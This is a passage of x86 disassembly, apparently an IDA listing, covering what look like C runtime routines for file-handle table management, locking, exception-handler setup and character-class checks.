					; sub_40ED77+4Aj ...
		pop	edi

loc_40EEC9:				; CODE XREF: sub_40ED77+10j
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40EECC:				; CODE XREF: sub_40ED77+132j
		sbb	eax, eax
		and	eax, 2
		dec	eax
		cmp	[ebp+var_4], bl
		jz	short loc_40EEC7
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_40EEC7
sub_40ED77	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EEE0	proc near		; CODE XREF: sub_4085AF+1D1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_40ED77
		add	esp, 10h
		retn
sub_40EEE0	endp

; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_40EF10
		push	dword ptr [ebp+8]
		call	sub_413D26

loc_40EF10:				; DATA XREF: .text:0040EF03o
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40EF18:				; DATA XREF: sub_40EF5D+Bo
					; .text:0040EFEAo
		mov	ecx, [esp+4]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_40EF5C
		mov	eax, [esp+14h]
		mov	ecx, [eax-4]
		xor	ecx, eax
		call	sub_402AD0
		push	ebp
		mov	ebp, [eax+10h]
		mov	edx, [eax+28h]
		push	edx
		mov	edx, [eax+24h]
		push	edx
		call	sub_40EF5D
		add	esp, 8
		pop	ebp
		mov	eax, [esp+8]
		mov	edx, [esp+10h]
		mov	[edx], eax
		mov	eax, 3

locret_40EF5C:				; CODE XREF: .text:0040EF28j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40EF5D	proc near		; CODE XREF: .text:0040EF44p

var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	ebp
		push	eax
		push	0FFFFFFFEh
		push	offset loc_40EF18
		push	large dword ptr	fs:0
		mov	eax, dword_423064
		xor	eax, esp
		push	eax
		lea	eax, [esp+24h+var_20]
		mov	large fs:0, eax

loc_40EF86:				; CODE XREF: sub_40EF5D:loc_40EFCDj
		mov	eax, [esp+24h+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EFCF
		cmp	[esp+24h+arg_4], 0FFFFFFFFh
		jz	short loc_40EFA2
		cmp	esi, [esp+24h+arg_4]
		jbe	short loc_40EFCF

loc_40EFA2:				; CODE XREF: sub_40EF5D+3Dj
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+24h+var_18], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_40EFCD
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_40F00D
		mov	eax, [ebx+esi*4+8]
		call	sub_40F02C

loc_40EFCD:				; CODE XREF: sub_40EF5D+57j
		jmp	short loc_40EF86
; ---------------------------------------------------------------------------

loc_40EFCF:				; CODE XREF: sub_40EF5D+36j
					; sub_40EF5D+43j
		mov	ecx, [esp+24h+var_20]
		mov	large fs:0, ecx
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40EF5D	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset loc_40EF18
		jnz	short locret_40F003
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_40F003
		mov	eax, 1

locret_40F003:				; CODE XREF: .text:0040EFF1j
					; .text:0040EFFCj
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40F004	proc near		; CODE XREF: sub_40C2A0+1Ep
					; sub_40C2A0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_423FB0
		jmp	short loc_40F018
sub_40F004	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F00D	proc near		; CODE XREF: sub_408978+6Ep
					; sub_4069F0+2099p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ecx
		mov	ebx, offset dword_423FB0
		mov	ecx, [esp+8+arg_0]

loc_40F018:				; CODE XREF: sub_40F004+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		push	ebp
		push	ecx
		push	eax
		pop	eax
		pop	ecx
		pop	ebp
		pop	ecx
		pop	ebx
		retn	4
sub_40F00D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F02C	proc near		; CODE XREF: sub_408978+7Bp
					; sub_40EF5D+6Bp
		call	eax
		retn
sub_40F02C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F02F	proc near		; CODE XREF: sub_40E422+2BBp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		push	esi
		push	edi
		jl	short loc_40F093
		cmp	eax, dword_4356E8
		jnb	short loc_40F093
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, eax
		sar	ecx, 5
		lea	edi, ds:435700h[ecx*4]
		mov	ecx, [edi]
		cmp	dword ptr [esi+ecx], 0FFFFFFFFh
		jnz	short loc_40F093
		cmp	dword_423050, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_40F089
		sub	eax, 0
		jz	short loc_40F080
		dec	eax
		jz	short loc_40F07B
		dec	eax
		jnz	short loc_40F089
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_40F083
; ---------------------------------------------------------------------------

loc_40F07B:				; CODE XREF: sub_40F02F+42j
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_40F083
; ---------------------------------------------------------------------------

loc_40F080:				; CODE XREF: sub_40F02F+3Fj
		push	ebx
		push	0FFFFFFF6h

loc_40F083:				; CODE XREF: sub_40F02F+4Aj
					; sub_40F02F+4Fj
		call	ds:off_41D0B8

loc_40F089:				; CODE XREF: sub_40F02F+3Aj
					; sub_40F02F+45j
		mov	eax, [edi]
		mov	[esi+eax], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_40F0A9
; ---------------------------------------------------------------------------

loc_40F093:				; CODE XREF: sub_40F02F+8j
					; sub_40F02F+10j ...
		call	sub_405B83
		mov	dword ptr [eax], 9
		call	sub_405B96
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh

loc_40F0A9:				; CODE XREF: sub_40F02F+62j
		pop	edi
		pop	esi
		retn
sub_40F02F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F0AC	proc near		; CODE XREF: sub_408DFD+62p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		cmp	ecx, ebx
		push	esi
		push	edi
		jl	short loc_40F114
		cmp	ecx, dword_4356E8
		jnb	short loc_40F114
		mov	esi, ecx
		and	esi, 1Fh
		imul	esi, 28h
		mov	eax, ecx
		sar	eax, 5
		lea	edi, ds:435700h[eax*4]
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_40F114
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_40F114
		cmp	dword_423050, 1
		jnz	short loc_40F10A
		sub	ecx, ebx
		jz	short loc_40F101
		dec	ecx
		jz	short loc_40F0FC
		dec	ecx
		jnz	short loc_40F10A
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_40F104
; ---------------------------------------------------------------------------

loc_40F0FC:				; CODE XREF: sub_40F0AC+46j
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_40F104
; ---------------------------------------------------------------------------

loc_40F101:				; CODE XREF: sub_40F0AC+43j
		push	ebx
		push	0FFFFFFF6h

loc_40F104:				; CODE XREF: sub_40F0AC+4Ej
					; sub_40F0AC+53j
		call	ds:off_41D0B8

loc_40F10A:				; CODE XREF: sub_40F0AC+3Fj
					; sub_40F0AC+49j
		mov	eax, [edi]
		or	dword ptr [esi+eax], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_40F129
; ---------------------------------------------------------------------------

loc_40F114:				; CODE XREF: sub_40F0AC+Bj
					; sub_40F0AC+13j ...
		call	sub_405B83
		mov	dword ptr [eax], 9
		call	sub_405B96
		mov	[eax], ebx
		or	eax, 0FFFFFFFFh

loc_40F129:				; CODE XREF: sub_40F0AC+66j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40F0AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F12D	proc near		; CODE XREF: sub_408DFD+7p
					; sub_408DFD+2Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_40F14D
		call	sub_405B96
		and	dword ptr [eax], 0
		call	sub_405B83
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40F14D:				; CODE XREF: sub_40F12D+7j
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jl	short loc_40F176
		cmp	eax, dword_4356E8
		jnb	short loc_40F176
		mov	ecx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	ecx, 5
		mov	ecx, dword_435700[ecx*4]
		add	eax, ecx
		test	byte ptr [eax+4], 1
		jnz	short loc_40F19A

loc_40F176:				; CODE XREF: sub_40F12D+25j
					; sub_40F12D+2Dj
		call	sub_405B96
		mov	[eax], esi
		call	sub_405B83
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 9
		call	sub_4032F9
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40F19A:				; CODE XREF: sub_40F12D+47j
		mov	eax, [eax]
		pop	esi
		retn
sub_40F12D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F19E	proc near		; CODE XREF: sub_408E91+7Fp
					; sub_40A6FF+7Fp ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_421B90
		call	__SEH_prolog4
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		sar	eax, 5
		mov	esi, edi
		and	esi, 1Fh
		imul	esi, 28h
		add	esi, dword_435700[eax*4]
		mov	[ebp+var_1C], 1
		xor	ebx, ebx
		cmp	[esi+8], ebx
		jnz	short loc_40F205
		push	0Ah
		call	sub_405DA7
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		cmp	[esi+8], ebx
		jnz	short loc_40F1F9
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_40CEC4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40F1F6
		mov	[ebp+var_1C], ebx

loc_40F1F6:				; CODE XREF: sub_40F19E+53j
		inc	dword ptr [esi+8]

loc_40F1F9:				; CODE XREF: sub_40F19E+3Fj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40F235

loc_40F205:				; CODE XREF: sub_40F19E+2Fj
		cmp	[ebp+var_1C], ebx
		jz	short loc_40F227
		mov	eax, edi
		sar	eax, 5
		and	edi, 1Fh
		imul	edi, 28h
		mov	eax, dword_435700[eax*4]
		lea	eax, [eax+edi+0Ch]
		push	eax
		call	ds:dword_41D164	; RtlEnterCriticalSection

loc_40F227:				; CODE XREF: sub_40F19E+6Aj
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_40F19E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F230	proc near		; DATA XREF: c.7ld2ih:00421BA8o
		xor	ebx, ebx
		mov	edi, [ebp+8]
sub_40F230	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40F235	proc near		; CODE XREF: sub_40F19E+62p
		push	0Ah
		call	sub_405CCF
		pop	ecx
		retn
sub_40F235	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F23E	proc near		; CODE XREF: sub_408F54+3p
					; sub_40A7D1+3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	ecx, 5
		mov	ecx, dword_435700[ecx*4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	ds:dword_41D168	; RtlLeaveCriticalSection
		retn
sub_40F23E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F260	proc near		; CODE XREF: sub_40E422:loc_40E618p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

; FUNCTION CHUNK AT 0040F33C SIZE 000000BA BYTES

		push	18h
		push	offset dword_421BB0
		call	__SEH_prolog4
		or	[ebp+var_1C], 0FFFFFFFFh
		xor	edi, edi
		mov	[ebp+var_24], edi
		push	0Bh
		call	sub_405CE4
		pop	ecx
		test	eax, eax
		jnz	short loc_40F289
		or	eax, 0FFFFFFFFh
		jmp	loc_40F3F0
; ---------------------------------------------------------------------------

loc_40F289:				; CODE XREF: sub_40F260+1Fj
		push	0Bh
		call	sub_405DA7
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi

loc_40F294:				; CODE XREF: sub_40F260+109j
		mov	[ebp+var_28], edi
		cmp	edi, 40h
		jge	loc_40F3E1
		mov	esi, dword_435700[edi*4]
		test	esi, esi
		jz	loc_40F36E

loc_40F2AF:				; CODE XREF: sub_40F260+CBj
		mov	[ebp+var_20], esi
		mov	eax, dword_435700[edi*4]
		add	eax, 500h
		cmp	esi, eax
		jnb	loc_40F362
		test	byte ptr [esi+4], 1
		jnz	short loc_40F328
		cmp	dword ptr [esi+8], 0
		jnz	short loc_40F30B
		push	0Ah
		call	sub_405DA7
		pop	ecx
		xor	ebx, ebx
		inc	ebx
		mov	[ebp+ms_exc.disabled], ebx
		cmp	dword ptr [esi+8], 0
		jnz	short loc_40F302
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_40CEC4
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40F2FF
		mov	[ebp+var_24], ebx
		jmp	short loc_40F302
; ---------------------------------------------------------------------------

loc_40F2FF:				; CODE XREF: sub_40F260+98j
		inc	dword ptr [esi+8]

loc_40F302:				; CODE XREF: sub_40F260+84j
					; sub_40F260+9Dj
		and	[ebp+ms_exc.disabled], 0
		call	sub_40F333

loc_40F30B:				; CODE XREF: sub_40F260+70j
		cmp	[ebp+var_24], 0
		jnz	short loc_40F328
		lea	ebx, [esi+0Ch]
		push	ebx
		call	ds:dword_41D164	; RtlEnterCriticalSection
		test	byte ptr [esi+4], 1
		jz	short loc_40F33C
		push	ebx
		call	ds:dword_41D168	; RtlLeaveCriticalSection

loc_40F328:				; CODE XREF: sub_40F260+6Aj
					; sub_40F260+AFj ...
		add	esi, 28h
		jmp	short loc_40F2AF
sub_40F260	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F32D	proc near		; DATA XREF: c.7ld2ih:00421BD4o
		mov	edi, [ebp-28h]
		mov	esi, [ebp-20h]
sub_40F32D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40F333	proc near		; CODE XREF: sub_40F260+A6p
		push	0Ah
		call	sub_405CCF
		pop	ecx
		retn
sub_40F333	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F260

loc_40F33C:				; CODE XREF: sub_40F260+BFj
		cmp	[ebp+var_24], 0
		jnz	short loc_40F328
		mov	byte ptr [esi+4], 1
		or	dword ptr [esi], 0FFFFFFFFh
		mov	eax, esi
		sub	eax, dword_435700[edi*4]
		cdq
		push	28h
		pop	ecx
		idiv	ecx
		mov	ecx, edi
		shl	ecx, 5
		add	eax, ecx
		mov	[ebp+var_1C], eax

loc_40F362:				; CODE XREF: sub_40F260+60j
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_40F3E1
		inc	edi
		jmp	loc_40F294
; ---------------------------------------------------------------------------

loc_40F36E:				; CODE XREF: sub_40F260+49j
		push	28h
		push	20h
		call	sub_407B2A
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		test	eax, eax
		jz	short loc_40F3E1
		lea	ecx, ds:435700h[edi*4]
		mov	[ecx], eax
		add	dword_4356E8, 20h

loc_40F390:				; CODE XREF: sub_40F260+151j
		mov	edx, [ecx]
		add	edx, 500h
		cmp	eax, edx
		jnb	short loc_40F3B3
		mov	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		and	dword ptr [eax+8], 0
		add	eax, 28h
		mov	[ebp+var_20], eax
		jmp	short loc_40F390
; ---------------------------------------------------------------------------

loc_40F3B3:				; CODE XREF: sub_40F260+13Aj
		shl	edi, 5
		mov	[ebp+var_1C], edi
		mov	eax, edi
		sar	eax, 5
		mov	ecx, edi
		and	ecx, 1Fh
		imul	ecx, 28h
		mov	eax, dword_435700[eax*4]
		mov	byte ptr [eax+ecx+4], 1
		push	edi
		call	sub_40F19E
		pop	ecx
		test	eax, eax
		jnz	short loc_40F3E1
		or	[ebp+var_1C], 0FFFFFFFFh

loc_40F3E1:				; CODE XREF: sub_40F260+3Aj
					; sub_40F260+106j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40F3F6
		mov	eax, [ebp+var_1C]

loc_40F3F0:				; CODE XREF: sub_40F260+24j
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_40F260

; =============== S U B	R O U T	I N E =======================================



sub_40F3F6	proc near		; CODE XREF: sub_40F260+188p
					; DATA XREF: c.7ld2ih:00421BC8o
		push	0Bh
		call	sub_405CCF
		pop	ecx
		retn
sub_40F3F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F3FF	proc near		; CODE XREF: sub_408FEC+31p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset dword_421BD8
		call	__SEH_prolog4
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_40F426
		call	sub_405B83
		mov	dword ptr [eax], 9

loc_40F41E:				; CODE XREF: sub_40F3FF+4Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_40F4D0
; ---------------------------------------------------------------------------

loc_40F426:				; CODE XREF: sub_40F3FF+12j
		xor	ebx, ebx
		cmp	eax, ebx
		jl	short loc_40F434
		cmp	eax, dword_4356E8
		jb	short loc_40F44E

loc_40F434:				; CODE XREF: sub_40F3FF+2Bj
					; sub_40F3FF+6Dj
		call	sub_405B83
		mov	dword ptr [eax], 9
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_4032F9
		add	esp, 14h
		jmp	short loc_40F41E
; ---------------------------------------------------------------------------

loc_40F44E:				; CODE XREF: sub_40F3FF+33j
		mov	ecx, eax
		sar	ecx, 5
		lea	edi, ds:435700h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, [edi]
		movzx	ecx, byte ptr [esi+ecx+4]
		and	ecx, 1
		jz	short loc_40F434
		push	eax
		call	sub_40F19E
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		mov	eax, [edi]
		test	byte ptr [esi+eax+4], 1
		jz	short loc_40F4B2
		push	[ebp+arg_0]
		call	sub_40F12D
		pop	ecx
		push	eax
		call	ds:off_41D0B4
		test	eax, eax
		jnz	short loc_40F4A0
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		mov	[ebp+var_1C], eax
		jmp	short loc_40F4A3
; ---------------------------------------------------------------------------

loc_40F4A0:				; CODE XREF: sub_40F3FF+94j
		mov	[ebp+var_1C], ebx

loc_40F4A3:				; CODE XREF: sub_40F3FF+9Fj
		cmp	[ebp+var_1C], ebx
		jz	short loc_40F4C1
		call	sub_405B96
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx

loc_40F4B2:				; CODE XREF: sub_40F3FF+80j
		call	sub_405B83
		mov	dword ptr [eax], 9
		or	[ebp+var_1C], 0FFFFFFFFh

loc_40F4C1:				; CODE XREF: sub_40F3FF+A7j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40F4D6
		mov	eax, [ebp+var_1C]

loc_40F4D0:				; CODE XREF: sub_40F3FF+22j
		call	__SEH_epilog4
		retn
sub_40F3FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F4D6	proc near		; CODE XREF: sub_40F3FF+C9p
					; DATA XREF: c.7ld2ih:00421BF0o
		push	dword ptr [ebp+8]
		call	sub_40F23E
		pop	ecx
		retn
sub_40F4D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F4E0	proc near		; CODE XREF: sub_40F52F+21p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_402ADF
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+0ACh], 1
		jle	short loc_40F510
		lea	eax, [ebp+var_10]
		push	eax
		push	4
		push	[ebp+arg_0]
		call	sub_40CDF4
		add	esp, 0Ch
		jmp	short loc_40F520
; ---------------------------------------------------------------------------

loc_40F510:				; CODE XREF: sub_40F4E0+1Bj
		mov	eax, [eax+0C8h]
		mov	ecx, [ebp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 4

loc_40F520:				; CODE XREF: sub_40F4E0+2Ej
		cmp	[ebp+var_4], 0
		jz	short locret_40F52D
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_40F52D:				; CODE XREF: sub_40F4E0+44j
		leave
		retn
sub_40F4E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F52F	proc near		; CODE XREF: sub_409217+1B6p
					; sub_409217+3EFp ...

arg_0		= dword	ptr  4

		cmp	dword_427820, 0
		jnz	short loc_40F54A
		mov	eax, [esp+arg_0]
		mov	ecx, off_423668
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, 4
		retn
; ---------------------------------------------------------------------------

loc_40F54A:				; CODE XREF: sub_40F52F+7j
		push	0
		push	[esp+4+arg_0]
		call	sub_40F4E0
		pop	ecx
		pop	ecx
		retn
sub_40F52F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F558	proc near		; CODE XREF: sub_40F5AC+23p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_402ADF
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+0ACh], 1
		jle	short loc_40F58B
		lea	eax, [ebp+var_10]
		push	eax
		push	80h
		push	[ebp+arg_0]
		call	sub_40CDF4
		add	esp, 0Ch
		jmp	short loc_40F59D
; ---------------------------------------------------------------------------

loc_40F58B:				; CODE XREF: sub_40F558+1Bj
		mov	eax, [eax+0C8h]
		mov	ecx, [ebp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 80h

loc_40F59D:				; CODE XREF: sub_40F558+31j
		cmp	[ebp+var_4], 0
		jz	short locret_40F5AA
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_40F5AA:				; CODE XREF: sub_40F558+49j
		leave
		retn
sub_40F558	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F5AC	proc near		; CODE XREF: sub_409217+9DFp
					; sub_409217+AB7p

arg_0		= dword	ptr  4

		cmp	dword_427820, 0
		jnz	short loc_40F5C9
		mov	eax, [esp+arg_0]
		mov	ecx, off_423668
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, 80h
		retn
; ---------------------------------------------------------------------------

loc_40F5C9:				; CODE XREF: sub_40F5AC+7j
		push	0
		push	[esp+4+arg_0]
		call	sub_40F558
		pop	ecx
		pop	ecx
		retn
sub_40F5AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F5D7	proc near		; CODE XREF: sub_40F626+21p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_402ADF
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+0ACh], 1
		jle	short loc_40F607
		lea	eax, [ebp+var_10]
		push	eax
		push	8
		push	[ebp+arg_0]
		call	sub_40CDF4
		add	esp, 0Ch
		jmp	short loc_40F617
; ---------------------------------------------------------------------------

loc_40F607:				; CODE XREF: sub_40F5D7+1Bj
		mov	eax, [eax+0C8h]
		mov	ecx, [ebp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 8

loc_40F617:				; CODE XREF: sub_40F5D7+2Ej
		cmp	[ebp+var_4], 0
		jz	short locret_40F624
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_40F624:				; CODE XREF: sub_40F5D7+44j
		leave
		retn
sub_40F5D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F626	proc near		; CODE XREF: sub_4091F2+17p
					; sub_409217+13Cp ...

arg_0		= dword	ptr  4

		cmp	dword_427820, 0
		jnz	short loc_40F641
		mov	eax, [esp+arg_0]
		mov	ecx, off_423668
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, 8
		retn
; ---------------------------------------------------------------------------

loc_40F641:				; CODE XREF: sub_40F626+7j
		push	0
		push	[esp+4+arg_0]
		call	sub_40F5D7
		pop	ecx
		pop	ecx
		retn
sub_40F626	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F64F	proc near		; CODE XREF: sub_409217+15Ep
					; sub_409217+5BEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_4]
		or	ebp, 0FFFFFFFFh
		test	byte ptr [esi+0Ch], 40h
		push	edi
		jnz	loc_40F70C
		push	esi
		call	sub_408DD0
		cmp	eax, ebp
		pop	ecx
		mov	ebx, offset dword_423BD0
		jz	short loc_40F6A2
		push	esi
		call	sub_408DD0
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_40F6A2
		push	esi
		call	sub_408DD0
		sar	eax, 5
		push	esi
		lea	edi, ds:435700h[eax*4]
		call	sub_408DD0
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [edi]
		pop	ecx
		pop	ecx
		jmp	short loc_40F6A4
; ---------------------------------------------------------------------------

loc_40F6A2:				; CODE XREF: sub_40F64F+23j
					; sub_40F64F+2Fj
		mov	eax, ebx

loc_40F6A4:				; CODE XREF: sub_40F64F+51j
		test	byte ptr [eax+24h], 7Fh
		jnz	short loc_40F6EB
		push	esi
		call	sub_408DD0
		cmp	eax, ebp
		pop	ecx
		jz	short loc_40F6E3
		push	esi
		call	sub_408DD0
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_40F6E3
		push	esi
		call	sub_408DD0
		sar	eax, 5
		push	esi
		lea	edi, ds:435700h[eax*4]
		call	sub_408DD0
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [edi]
		pop	ecx
		pop	ecx
		jmp	short loc_40F6E5
; ---------------------------------------------------------------------------

loc_40F6E3:				; CODE XREF: sub_40F64F+64j
					; sub_40F64F+70j
		mov	eax, ebx

loc_40F6E5:				; CODE XREF: sub_40F64F+92j
		test	byte ptr [eax+24h], 80h
		jz	short loc_40F70C

loc_40F6EB:				; CODE XREF: sub_40F64F+59j
		call	sub_405B83
		xor	edi, edi
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h

loc_40F705:				; CODE XREF: sub_40F64F+C3j
					; sub_40F64F+CEj ...
		mov	eax, ebp

loc_40F707:				; CODE XREF: sub_40F64F+11Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_40F70C:				; CODE XREF: sub_40F64F+Fj
					; sub_40F64F+9Aj
		mov	ebx, [esp+10h+arg_0]
		cmp	ebx, ebp
		jz	short loc_40F705
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_40F723
		test	al, al
		jns	short loc_40F705
		test	al, 2
		jnz	short loc_40F705

loc_40F723:				; CODE XREF: sub_40F64F+CAj
		xor	edi, edi
		cmp	[esi+8], edi
		jnz	short loc_40F731
		push	esi
		call	sub_40D8AC
		pop	ecx

loc_40F731:				; CODE XREF: sub_40F64F+D9j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_40F740
		cmp	[esi+4], edi
		jnz	short loc_40F705
		inc	eax
		mov	[esi], eax

loc_40F740:				; CODE XREF: sub_40F64F+E7j
		dec	dword ptr [esi]
		test	byte ptr [esi+0Ch], 40h
		mov	eax, [esi]
